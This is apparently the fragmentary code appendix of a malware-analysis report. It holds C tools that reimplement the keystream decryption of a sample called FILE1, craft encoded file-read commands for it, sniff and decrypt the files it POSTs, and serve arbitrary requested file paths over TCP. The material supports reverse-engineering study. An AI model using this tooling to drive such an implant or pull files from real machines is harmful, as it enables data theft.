    send(new_fd,buffer, strlen(buffer),0); 
   }  
    
  } 
 } 
 return 0; 
} 
 
C.  FILE1 GEN_STRING.C 
/** 
** Ed Murphy 
** 
** Value String Generator for FILE1 
** 
** This program will generate file request strings 






unsigned int start_key1 = 0x1D0B0920, start_key2=0x5463444C; 
unsigned int fin_key1, fin_key2, fin_key3; 





** This function is my implementation of the BASE64  
** encoding algorithm, there are no modifications to  
** the standard algorithm 
*****/ 
void base64_encode(char *msg, int len){ 
 char *padded_string; 
 int index,temp; 
 int i = 0, times, mod; 
 
 times = len/3; 
 mod = len % 3; 
 if(mod != 0){ 
  //make a string paddedd out to mult 3 
  padded_string = malloc(len + (3-mod)); 
  memset(padded_string, 0, (len + (3-mod))); 
  strncpy(padded_string,msg,len); 
  times++; 
 } 
 
 for(i; i<times; i++){ 
  index = msg[i*3] & 0xFC; 
  index = index >> 2; 
  //encoded[i*4] = base64[index]; 




  index = msg[i*3] & 3; 
  index = index << 4; 
  index |= ((msg[i*3+1] & 0xF0) >> 4); 
  //encoded[i*4+1] = base64[index]; 
  printf("%c",base64[index]); 
 
  index = msg[i*3+1] &  0xF; 
  index = index <<2; 
  index |= ((msg[i*3+2] & 0xC0) >> 6); 
  if(i == times - 1 && index == 0 && mod == 1) 
   index=64; 
  //encoded[i*4+2] = base64[index]; 
  printf("%c",base64[index]); 
 
  index = msg[i*3+2] & 0x3F; 
 
  if(i == times - 1 && index == 0 && mod != 0) 
   index=64; 
  //encoded[i*4+3] = base64[index]; 






** This function will generate a 12-byte key from the 8-byte 
** stored key. The 12-byte key is then used to generate the  
** decryption keystream in do_crypt() 
*****/ 
void key_gen(){ 
 int eax, edx, ecx, ebx, esi; 
 
 eax = start_key1; 
 edx = start_key1 & 0xFF; 
 ecx = start_key1 & 0xFF00; 
 ecx = ecx >> 8; 
 edx = edx << 8; 
 edx |= ecx; 
 ecx = start_key1 & 0xFF0000; 
 ecx = ecx >> 21; 
 edx = edx << 3; 
 edx |= ecx; 
 fin_key1 = edx; 
 //printf("fin_key1: %#0.8x\n", fin_key1); 
 
 ebx = (start_key2 >> 8) & 0xFF; 
 edx = (start_key1 >> 16) & 0xFF; 
 esi = (start_key1 >> 24) & 0xFF; 
 edx = edx << 6; 
 edx |= esi; 
 esi = start_key2 &0xFF; 
 edx = edx << 8; 
 ebx = ebx >> 7; 
 edx |= esi; 
 esi = ebx; 
 edx = edx << 1; 
 edx |= esi; 
 fin_key2 = edx; 
 //printf("fin_key2: %#0.8x\n", fin_key2); 
 
 edx = (start_key2 >> 8) & 0xFF; 
 esi = (start_key2 >> 16) & 0xFF; 
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 eax = (start_key2 >> 24) & 0xFF; 
 edx = edx << 9; 
 edx |= esi; 
 edx = edx << 8; 
 edx |= eax; 
 fin_key3 = edx; 





** The next four functions are all helper functions for  
** manipulate_key() each performs it own manipulation on the 
** 12-byte key 
*****/ 
int keyManip1(){ 
 int eax=0, edx=0, ecx=0; 
 
 eax = fin_key1; 
 edx = fin_key2; 
 eax = eax & 0x80; 
 if(eax == 0x80){ 
  ecx = 1; 
 } 
 edx = edx & 0x800; 
 if(edx == 0x800){ 
  ecx++; 
 } 
 edx = fin_key3; 
 edx &= 0x800; 
 if(edx == 0x800){ 
  ecx++; 
 } 
 
 if( ecx <= 1) 
  eax = 1; 
 else 
  eax = 0; 
 
 return eax; 
} 
 
int keyManip2(int res){ 
 int eax, ecx; 
 
 eax = fin_key1; 
 ecx = eax; 
 ecx = ecx >> 9; 
 ecx &= 1; 
 ecx ^= res; 
 
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 3; 
  ecx ^= eax; 
  eax &= 0x3FFFF; 
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  ecx = ecx >> 0x0D; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
 





int keyManip3(int res){ 
 int eax, ecx; 
 
 eax = fin_key2; 
 ecx = eax; 
 ecx = ecx >> 0x0B; 
 ecx &= 1; 
 ecx ^= res; 
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 4; 
  ecx ^= eax; 
  ecx = ecx >> 4; 
  ecx ^= eax; 
  eax &= 0x1FFFFF; 
  ecx = ecx >> 0x0C; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
 




int keyManip4(int res){ 
 int eax, ecx; 
 
 eax = fin_key3; 
 ecx = eax; 
 ecx = ecx >> 0x0B; 
 ecx &= 1; 
 ecx ^= res; 
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 3; 
  ecx ^= eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  eax &= 0x3FFFFF; 
  ecx = ecx >> 0x11; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
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** This is a helper function for do_crypt() it will manipulate  
** the 12-byte key and return the appropriate value to decrypt 
** the current byte in the encrypted buffer 
*****/ 
int manipulate_key(){ 
 int res, eax, edi; 
 
 res = keyManip1(); 
 //printf("\n\nres: %#x\n", res); 
 
 fin_key1 = keyManip2(res); 
 //printf("fin_key1: %#0.8x\n",fin_key1); 
 
 fin_key2 = keyManip3(res); 
 //printf("fin_key2: %#0.8x\n",fin_key2); 
 
 fin_key3 = keyManip4(res); 
 //printf("fin_key3: %#0.8x\n",fin_key3); 
 
 edi = fin_key1; 
 eax = fin_key2; 
 eax ^= edi; 
 eax ^= fin_key3; 
 eax &= 1; 
 




** Given the file content and file length this function 
** will decrypt the supplied file using the scheme implemented 
** in FILE1 
**/ 
void do_crypt(char *msg, int len){ 
 int i=0, eax; 
 unsigned char ebx = 0x01; 
 unsigned char temp; 
 
 for(i;i<len;i++){ 
  eax = manipulate_key(); 
  temp = msg[i]; 
  ebx = ebx << 1; 
  ebx |= (eax & 1); 
  temp = temp ^ (ebx & 0xFF); 








 //Setup up message string for file request 
 char message[256]=  "            c:\\test.txt\0"; 
  
 memset(message,0,256); 
 //set first byte to command 
 message[0] = 0x07; 
 message[1] = 0x00; 
 message[2] = 0x00; 
 message[3] = 0x00; 
 
 //set second byte to nulls for file read 
 message[4] = 0x00; 
 message[5] = 0x00; 
 message[6] = 0x00; 
 message[7] = 0x00; 
 
 //set third byte to nulls for file read 
 message[8] = 0x00; 
 message[9] = 0x00; 
 message[10] = 0x00; 




 base64_encode(message, strlen(message)); 
  
 //Print the encrypted and BASE64 encoded message 
 //for the value string in index.html 
 printf("Value String:\t%s\n",message); 
 
 return 0; 
} 
 
D.  FILE1 TRAFFIC SNIFFER 
/** 
** Ed Murphy 
** 
** Network Traffic Sniffer 
** Monitors network traffic, looking for files 
** POSTed by FILE1. 
** 
** The packet capturing code is courtesy of the  
** WinPcap developers examples[20]. 
** The decryption and packet_check code is developed 








#define LINE_LEN 16 
 
// keys for decyrpting file contents 
unsigned int start_key1 = 0x1D0B0920, start_key2=0x5463444C; 




** This function checks an incoming packet for the data format 
** specified in FILE1. If such a packet is recognized it is then  
** parsed, decrypted, and saved to the local machine. 
**/ 
void packet_check(pcap_t *fp,const u_char *data,int length); 
 
/** 
** Given the file content and file length this function 
** will decrypt the supplied file using the scheme implemented 
** in FILE1 
**/ 







** This function will generate a 12-byte key from the 8-byte 
** stored key. The 12-byte key is then used to generate the  





** This is a helper function for do_crypt() it will manipulate  
** the 12-byte key and return the appropriate value to decrypt 





** These four functions are all helper functions for  
** manipulate_key() each performs it own manipulation on the 







int main(int argc, char **argv) 
{ 
 pcap_if_t *alldevs,*d; 
 pcap_t *fp; 
 u_int inum,i=0,j=0; 
 char errbuf[PCAP_ERRBUF_SIZE]; 
 char *filter = NULL; 
 int res; 
 struct pcap_pkthdr *header; 
 const u_char *pkt_data; 
 bpf_u_int32 NetMask; 
 struct bpf_program fcode; 
 char *dump_file_name = NULL; 
 pcap_dumper_t *dumpfile; 
 
 //Parse command line arguments for dump file name 
 //and optional filter. 
 if(argc > 2){ 
  dump_file_name = argv[1]; 
  filter = argv[2]; 
 }else if(argc > 1) 
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  dump_file_name = argv[1]; 
 else{ 
  key_gen(); 
  printf("Usage: pkt_dump.exe dump_file_name [filter]\n"); 
  exit(1); 
 } 
  
 printf("Ed's file sniffer with optional filter"); 
 
 //Find all networking devices 
 if(pcap_findalldevs(&alldevs,errbuf) ==-1){ 
  fprintf(stderr,"Error opening devices: %s\n",errbuf); 
  exit(1); 
 } 
 
 //Print the list of networking devices 
 printf("\nPlease select a device from the list\n"); 
 for(d=alldevs; d; d=d->next){ 
  printf("%d: %s\n", ++i, d->name); 
  if(d->description) 
   printf("   [%s]\n", d->description); 
  else 




  printf("There are no available devices"); 
  return -1; 
 } 
 
 //Select the networking device on which to capture 
 printf("Select device [1-%d]:",i); 
 scanf("%d",&inum); 
 
 //Invalid device selection check 
 if(inum < 1 || inum > i){ 
  printf("That isn't a device, goodbye"); 
  pcap_freealldevs(alldevs); 
  return -1; 
 } 
 
 //loop through devices the select the users 
 //desired device 
 for(d=alldevs, i=0; i<inum-1; d=d->next,i++); 
 
 //Open a live capture on the selected device 
 if((fp = pcap_open_live(d->name,65536,1,1000,errbuf)) == NULL){ 
  fprintf(stderr,"Error opening device :(\n"); 
  return -1; 
 } 
 
 //Open the file to dump packets to 
 if (dump_file_name != NULL){ 
  dumpfile= pcap_dump_open(fp, dump_file_name); 
 
  if (dumpfile == NULL) 
  { 
   fprintf(stderr,"\nError opening output file\n"); 
   pcap_close(fp); 
   return -5; 




 //Setup a user supplied filter 
 if(filter != NULL){ 
  NetMask = 0xffffff; // This assumes a class C address 
 
  printf("Capturing packets with filter %s\n",filter); 
   
  //Filter syntax error 
  if(pcap_compile(fp, &fcode, filter, 1, NetMask) < 0){ 
   fprintf(stderr,"You filter failed to compile, goodbye\n"); 
   pcap_close(fp); 
   return -1; 
  } 
 
  //failed to the set the filter 
  if(pcap_setfilter(fp,&fcode) < 0){ 
   fprintf(stderr,"Failed to set your filter, goodbye\n"); 
   pcap_close(fp); 
   return -1; 
  } 
 } 
 
 //Start capturing packets!!!! 
 while((res = pcap_next_ex(fp, &header, &pkt_data)) >= 0) 
 { 
  //no packet captured, try again 
  if(res==0) 
   continue; 
   
  //Debug statement to show a packet has been received 
  printf("%ld:%ld (%ld)\n",header->ts.tv_sec,header->ts.tv_usec,  
             header->len); 
 
  //If the header->caplen field is greater than 54 this 
  //packet contains data, so pass it to the packet check 
  //function 
  if(header->caplen > 54 ) 
   packet_check(fp,pkt_data,header->caplen); 
   
  //dump packet to dump file 









** This function checks an incoming packet for the data format 
** specified in FILE1. If such a packet is recognized it is then  
** parsed, decrypted, and saved to the local machine. 
**/ 
void packet_check(pcap_t *fp,const u_char *data, int length){ 
 struct pcap_pkthdr *header; 
 u_char *new_data=NULL,*total_file=NULL; 
 const u_char *pkt_data; 
 char *token=NULL; 
 int i=0; 
 
 //First move the packet pointer past the TCP header 




 if((new_data != NULL)){ 
  // Search the packet for the name field. 
  // This field is always present in a POST packet  
  // from FILE1 
  new_data = strstr(new_data,"name=\""); 
   
  // If we found the name field, do some additional checks 
  if(new_data != NULL){ 
   char size[5]; 
   int file_size,cur_bytes; 
    
   //Move the packet pointer past the located string 
   new_data +=6; 
   //We are now pointing at the size of the FILE sent. 
   //This field is always a 5 byte field containing the  
   //ASCII representation of the file size. So copy these  
   //5 bytes and convert to its integer representation. 
   strncpy(size,new_data,5); 
   file_size = atoi(size); 
    
   //Search for the termination of the name field 
   new_data=strstr(new_data,"\""); 
   if(new_data!=NULL){ 
    int i=0; 
     
    //Move the file point past the name termination 
    //And prepare to read the file 
    new_data+=3; 
    total_file = malloc(file_size); 
    memset(total_file,0,file_size); 
     
    /*   Adjust the number of byte to copy to accurately 
    ** reflect the file size and copy this data into the  
    ** total_file buffer. Length is the size of the packet 
    ** and the number 142 represents the number of bytes that 
    ** preceed the actual file data. By subtracting 142 from  
    ** length cur_bytes contains the amount of file data 
    ** in this packet. */ 
    cur_bytes = length-142; 
    memcpy(total_file,new_data,cur_bytes); 
 
    //Generate the decryption key 
    key_gen(); 
    //If the packet is of the maximum size, and the size 
    //of the file being sent is greater than 1371 we are  
    //going to be receiving the file in multiple packets 
    if(length == 1514 && file_size > 1371){ 
     FILE *filep; 
     //file size is larger than MTU, must capture entire 
     //file before decryption 
     while(length==1514 && file_size > cur_bytes){ 
      int res; 
       
      //get another packet 
      res = pcap_next_ex(fp, &header, &pkt_data); 
      new_data = pkt_data + 54; 
      memcpy(total_file+cur_bytes,new_data, 
           header->caplen - 54); 
 
      cur_bytes += header->caplen - 54; 
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     } 
     //decrypt the recieved file 
     do_crypt(total_file,file_size); 
     //add 8 to account to for the first four bytes  
     //sent by FILE1 that are not part of the actual file 
     total_file[file_size]='\0'; 
     total_file+=8; 
     //Write the file to the local directory 
     filep=fopen("recved_file","wb"); 
     fwrite(total_file,file_size,1,filep); 
     printf("wrote %s\n\n",total_file); 
     fclose(filep); 
    }else{ 
     // The file will be contained within one packet 
     FILE *filep; 
     printf("file_size %d\n",file_size); 
     do_crypt(total_file,file_size); 
     total_file[file_size]='\0'; 
     total_file+=8; 
     filep=fopen("recved_file","wb"); 
     fwrite(total_file,file_size,1,filep); 
     printf("wrote %s\n\n",total_file); 
     fclose(filep); 
    } 
   } 






 int eax, edx, ecx, ebx, esi; 
 
 eax = start_key1; 
 edx = start_key1 & 0xFF; 
 ecx = start_key1 & 0xFF00; 
 ecx = ecx >> 8; 
 edx = edx << 8; 
 edx |= ecx; 
 ecx = start_key1 & 0xFF0000; 
 ecx = ecx >> 21; 
 edx = edx << 3; 
 edx |= ecx; 
 fin_key1 = edx; 
 //printf("fin_key1: %#0.8x\n", fin_key1); 
 
 ebx = (start_key2 >> 8) & 0xFF; 
 edx = (start_key1 >> 16) & 0xFF; 
 esi = (start_key1 >> 24) & 0xFF; 
 edx = edx << 6; 
 edx |= esi; 
 esi = start_key2 &0xFF; 
 edx = edx << 8; 
 ebx = ebx >> 7; 
 edx |= esi; 
 esi = ebx; 
 edx = edx << 1; 
 edx |= esi; 
 fin_key2 = edx;  
 //printf("fin_key2: %#0.8x\n", fin_key2); 
 
 edx = (start_key2 >> 8) & 0xFF; 
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 esi = (start_key2 >> 16) & 0xFF; 
 eax = (start_key2 >> 24) & 0XFF; 
 edx = edx << 9; 
 edx |= esi; 
 edx = edx << 8; 
 edx |= eax; 
 fin_key3 = edx; 




 int eax=0, edx=0, ecx=0; 
  
 eax = fin_key1; 
 edx = fin_key2; 
 eax = eax & 0x80; 
 if(eax == 0x80){ 
  ecx = 1; 
 } 
 edx = edx & 0x800; 
 if(edx == 0x800){ 
  ecx++; 
 } 
 edx = fin_key3; 
 edx &= 0x800; 
 if(edx == 0x800){ 
  ecx++; 
 } 
 
 if( ecx <= 1) 
  eax = 1; 
 else 
  eax = 0; 
  
 return eax; 
} 
 
int keyManip2(int res){ 
 int eax, ecx; 
 
 eax = fin_key1; 
 ecx = eax; 
 ecx = ecx >> 9; 
 ecx &= 1; 
 ecx ^= res; 
  
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 3; 
  ecx ^= eax; 
  eax &= 0x3FFFF; 
  ecx = ecx >> 0x0D; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
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int keyManip3(int res){ 
 int eax, ecx; 
 
 eax = fin_key2; 
 ecx = eax; 
 ecx = ecx >> 0x0B; 
 ecx &= 1; 
 ecx ^= res; 
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 4; 
  ecx ^= eax; 
  ecx = ecx >> 4; 
  ecx ^= eax; 
  eax &= 0x1FFFFF; 
  ecx = ecx >> 0x0C; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
 




int keyManip4(int res){ 
 int eax, ecx; 
 
 
 eax = fin_key3; 
 ecx = eax; 
 ecx = ecx >> 0x0B; 
 ecx &= 1; 
 ecx ^= res; 
 if(ecx == 0) 
  return eax; 
 else{ 
  ecx = eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  ecx = ecx >> 3; 
  ecx ^= eax; 
  ecx = ecx >> 1; 
  ecx ^= eax; 
  eax &= 0x3FFFFF; 
  ecx = ecx >> 0x11; 
  eax = eax << 1; 
  if((ecx & 1) != 0) 
   eax ^= 1; 
 
  return eax; 






 int res, eax, edi; 
 
 res = keyManip1(); 
 //printf("\n\nres: %#x\n", res); 
 
 fin_key1 = keyManip2(res); 
 //printf("fin_key1: %#0.8x\n",fin_key1); 
 
 fin_key2 = keyManip3(res); 
 //printf("fin_key2: %#0.8x\n",fin_key2); 
 
 fin_key3 = keyManip4(res); 
 //printf("fin_key3: %#0.8x\n",fin_key3); 
 
 edi = fin_key1; 
 eax = fin_key2; 
 eax ^= edi; 
 eax ^= fin_key3; 
 eax &= 1; 
 
 return eax; 
}     
  
  
void do_crypt(char *msg, int len){ 
 int i=0, eax; 
 unsigned char ebx = 0x01; 
 unsigned char temp; 
 
 //Decryption loop 
 for(i;i<len;i++){ 
  eax = manipulate_key(); 
  temp = msg[i]; 
  ebx = ebx << 1; 
  ebx |= (eax & 1); 
  temp = temp ^ (ebx & 0xFF); 




E.  SIMPLE FILE SERVER 
/* 
** Ed Murphy 
**  
** server.c -- a simple file transfer server 
** 


















#define MYPORT 3490 // the port users will be connecting to 
 
#define BACKLOG 10  // how many pending connections queue will hold 
 
void sigchld_handler(int s){ 




 The do_get function accepts a full file path and 
 a client socket. The function opens the file requested 
 and sends it to the client. 
*****/ 
 
void do_get(char *path, int cli_sock){ 
 int fd = -1, bytes_read=0; 
 char send_buf[4096]; // 4k file size 
 memset(send_buf,0,4096); 
 fd = open(path,O_RDONLY | O_BINARY); 
 if( fd !=-1){ 
  // good filename request 
  // read a maximum of 4096 bytes from the file  
  // requested into send_buf 
  bytes_read = read(fd,send_buf,4096); 
   
  //send the file contents to the client socket 
  send(cli_sock,send_buf,bytes_read,0); 
 }else{ 
  //bad file name request 
  strcpy(send_buf,"Sorry, no such file exists\n"); 





 int sockfd, cli_fd;  // listen on sock_fd, new connection on cli_fd 
 struct sockaddr_in my_addr; // my socket information 
 struct sockaddr_in their_addr; // connector's socket information 
 socklen_t sin_size; 
 struct sigaction sa; 
 char message[128]; //buffer to contain the command from client 
 char *token; 
  
 int yes=1, m_len; 
  
 // Open a socket 
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
  perror("socket"); 
  exit(1); 
 } 
 
 //Set socket options to reuse a already bound port 
 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) 
{ 
  perror("setsockopt"); 




 my_addr.sin_family = AF_INET;   // host byte order 
 my_addr.sin_port = htons(MYPORT);  // short, network byte order 
 my_addr.sin_addr.s_addr = INADDR_ANY; //automatically fill in my IP 
 memset(&(my_addr.sin_zero), '\0', 8); // zero the rest of the struct 
 
 //bind socket to port number 
 if (bind(sockfd, (struct sockaddr *)&my_addr, 
     sizeof(struct sockaddr)) == -1) { 
  perror("bind"); 
  exit(1); 
 } 
 
 //listen for incoming connections 
 if (listen(sockfd, BACKLOG) == -1) { 
  perror("listen"); 
  exit(1); 
 } 
 
 sa.sa_handler = sigchld_handler; 
 sigemptyset(&sa.sa_mask); 
 sa.sa_flags = SA_RESTART; 
 if (sigaction(SIGCHLD, &sa, NULL) == -1) { 
  perror("sigaction"); 
  exit(1); 
 } 
 
 //This loop will continuously accept connections from a remote machine 
 //It spawns a child process to handle each connection 
 while(1) {  // main accept() loop 
  sin_size = sizeof(struct sockaddr_in); 
   
  //accecpt a connection from a client 
  if ((cli_fd = accept(sockfd, (struct sockaddr *)&their_addr, 
      &sin_size)) == -1) { 
   perror("accept"); 
   continue; 
  } 
   
  printf("server: got connection from %s\n", 
        inet_ntoa(their_addr.sin_addr)); 
   
  if (!fork()) { // this is the child process 
   close(sockfd); // child doesn't need the listener 
 
   strcpy(message,"Welcome to the Simple File Transfer Server\n"); 
   if (send(cli_fd, message, strlen(message), 0) == -1){ 
    perror("send"); 
   } 
   
   strcpy(message, 
    "COMMANDS:\n\tGET: download a file\n\tQUIT: quit program\n"); 
   send(cli_fd, message,strlen(message), 0); 
   memset(message,0,sizeof(message)); 
    
   //This loop will continuously accept commands from the client  
   while(1) { 
    
    //recieve a maximum of 100 bytes into the message buffer 
    m_len = recv(cli_fd, message,100,0); 
    token = strtok(message," \n"); 
    printf("%s, from %s\n",token,inet_ntoa(their_addr.sin_addr)); 
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    //Parse the command string for a key word  
    if(strcmp(token,"GET")==0){ 
     //regonize a get command 
     //send the filename to the do_get() fucntion 
     //note that the filename must directly follow "GET " 
     do_get(&message[4],cli_fd); 
      
    }else if(strcmp(token,"QUIT")==0){ 
     // recognized a termination request, exit thread 
     strcpy(message,"Thanks for letting me give you 
             files.\n"); 
     send(cli_fd,message,strlen(message),0); 
     printf("Connection from %s terminated.\n", 
          inet_ntoa(their_addr.sin_addr)); 
     close(cli_fd); 
     exit(0); 
      
    }else{ 
     // received an invalid command, exit thread 
     strcpy(message,"Invalid Command, peace.\n"); 
     send(cli_fd,message,strlen(message),0); 
     printf("Connection from %s terminated.\n", 
          inet_ntoa(their_addr.sin_addr)); 
     close(cli_fd); 
     exit(0); 
    } 
   } 
  } 
  close(cli_fd);  // parent doesn't need this 
 } 
  
 return 0; 
} 
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